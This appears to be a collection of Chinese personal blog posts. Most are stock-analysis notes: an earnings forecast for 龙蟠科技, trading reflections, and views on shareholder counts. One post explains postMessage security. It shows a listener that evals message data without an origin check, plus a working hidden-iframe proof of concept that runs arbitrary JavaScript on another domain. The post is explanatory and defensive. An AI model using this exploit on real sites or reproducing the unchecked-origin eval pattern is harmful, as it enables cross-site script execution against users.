龙蟠科技2017年半年报预测

假设今年产品不涨价,与2016年一样,那么根据产能计算出的收入极致为 :

444.jpg

2016年净利率为8.64%,假使净利率不变(实际上今年原材料涨价净利率预期会更加恶化),2017年满产满销情况下净利润为9882.6千万,平均计算一下,半年报净利润若能超过4941.3千万即为超出预期。(去年中报4469千万)

盈利预测。预计公司2017-2019 年EPS 分别为0.52 元、0.64 元和1.25 元。参照可比公司2017 年的估值,结合公司的成长性,我们认为2017 年公司的合理估值应该为35~40 倍,对应的股价为18.2~20.8 元。

三率判定法

今天学到一种分析方法叫做三率分析,即看净利率、销售额增长率、综合毛利率的变化曲线,如果三条线都不断走上涨趋势,说明这家公司整体向好,晚些可以多观察几家公司看看。
用途:看行业,看老股,看新股。

参考资料

  • http://www.360doc.com/content/17/0330/17/40573513_641461629.shtml

postMessage安全性问题

0x00

浏览器有同源策略,规定js访问必须遵循同源策略,即满足同协议-同域名-同端口条件才能访问web资源,cookie,dom等等。
跨域的方式也有很多种,jsonp,window.name,document.cookie,其中postMessage就是一种跨域的方法。
使用postMessage方法时,我们只要发送端拥有某个窗口的有效js的句柄,就可以通过这套机制向该窗口发送任意长度的文本信息。

场景:

pay.example.com根目录下有个页面想获取用户的登录信息,为了达到这个目的,pay.example.com的根路径下有个页面加载了一个指向login.example.com的子框架。
1、这个子框架只需要发出以下指令:

parent.postMessage("user=bob", "https://pay.example.com");

2、在pay.example.com中获取这个message:

//对传进来需要处理的消息先进行注册
addEventListener("message", user_info, false) ;
//收到实际数据时的具体处理

function user_info(msg){
    if(msg.origin == "https://login.example.com"){
        //根据计划使用msg.data数据
    }
}

从上面的代码可以看出,使用postMessage时,必须要判断消息的来源,使用回调参数中的origin属性进行判断,从而限制不可信域请求我们的资源。但是有时候由于疏忽,会漏掉判断,这就会导致安全问题。

0x01

看一段代码:

The secret is random and different for each visitor.

<br />
Xss It! 
<script>
    var secret = Math.random();
    var data=localStorage.getItem("secret");
    if(!data){
        data=secret;
        localStorage.setItem("secret",data)
    }
    data=data+"";
    console.log("secret is :"+ data);
    window.addEventListener("message",function(e){
        var d=e.data;
        if(!d || !d.secret){return;}
        var token=d.secret;
        var action=d.action;
        switch(action){
            case "check":
                if(data.match(new RegExp(token))){
                    console.log("ok");
                }
                break;
            case "run":
                if(token === data){
                    eval(d.cmd);
                }
                break;
            default:
                void 0;
        }
    })
</script>

页面通过addEventListenr方法捕捉一个message事件,但是没有判断请求的来源就进行eval操作,这就会导致任意域在本域执行JS代码。写个页面即可,先获取窗口句柄,再发送恶意数据即可。
代码如下:

<!DOCTYPE html>
<html>
<body>
postMessage for xss test
<script>
var f = document.createElement('iframe') ;
f.style = "display:none;" ;
f.width = "0" ;
f.height = '0' ;
f.name = "poor" ;
f.src = "http://xxoo.sinaapp.com/test/test.htm" ;
document.body.appendChild(f) ;
f.onload = function(){
    var w = f.contentWindow ;
    w.postMessage({secret:"0.8192312608007342",action:'run',cmd:'alert(location.href)'},"http://xxoo.sinaapp.com/test/test.htm") ;
}
</script>
</body>
</html>

通过这种方式可以在xxoo.sinaapp.com域上执行任意js代码,突破同源限制。所以,以后使用postMessage跨域,应该做好一定的防范和验证。

2017年7月思想记录(四)

  • 中国是属于政策市,并且对业绩造假处罚力度很低,因此基本面影响没有美股高。但是对基本面的研究可以增加自己的持股信心,规避掉经营情况恶化的公司地雷。
  • 周期股可以看大宗商品价格变化趋势。尤其在中国2017年政策是要做混合所有制改革,那么那些国企和资源型企业走出大牛趋势。(政策倾斜)
  • 如果把公司公告(如季报、中报、年报)理解成德州扑克揭开底牌,在底牌没有揭开时所有人都没有相应信息,股价可能暴跌。此时并不一定说明待揭示的报告一定很差。也有保密性比较好的公司,报告揭示之前走势很差,但是报告之后连着涨停根本买不到。财报揭示、下跌中没有信息靠猜地买入,有运气和赌的成分。更稳妥是在公布之后,贵一点买入。
  • 同行业,行业上下游包括生活中关注到的信息,可能会对自己的判断有些支撑。
  • 外面的诱惑很多,而在这么多诱惑里只能选择1~2只坚定持有。盲目仓促换仓很可能导致自己被套。对于感兴趣的票子可以列入股票池进行观察,在备注里说明自己判断逻辑,而没有必要都立即买入。
  • 看周线、看月线(而不是仅看日线),要参考macd走势,白线(DEA)在0轴上表示强势,在0轴下表示弱势。
  • 放量上涨缩量下跌。
  • 当股价下跌到自己心理位置之下,亏损累累,并且看不清楚后市,或后市不明朗时(大环境也悲剧),应该考虑的是减仓而非融资借钱加仓。因为此时最重要的事情是减少波动及损失,而非考虑赌博加强波动。如果股价继续往下降再理解为做T(借钱的话5%的利率蛮高的)

关于A股股东户数的看法

股东户数是一个值得研究的课题,我细致分析对比了一下,有以下分析:

  1. 如果股价长期横盘或者上下波动,且股东户数不断减少说明持股正在趋于集中,要不是有大机构在以年为单位长期吸筹,要不就是散户套牢。
  2. 股东户数集中,并不代表着后续一定会上涨,毕竟这些长期吸筹的大机构并不是只买不卖的。到了他们的心理价位估计就要开始出货了。
  3. 股东分散的公司,容易随着大盘涨跌。(非合作型博弈...)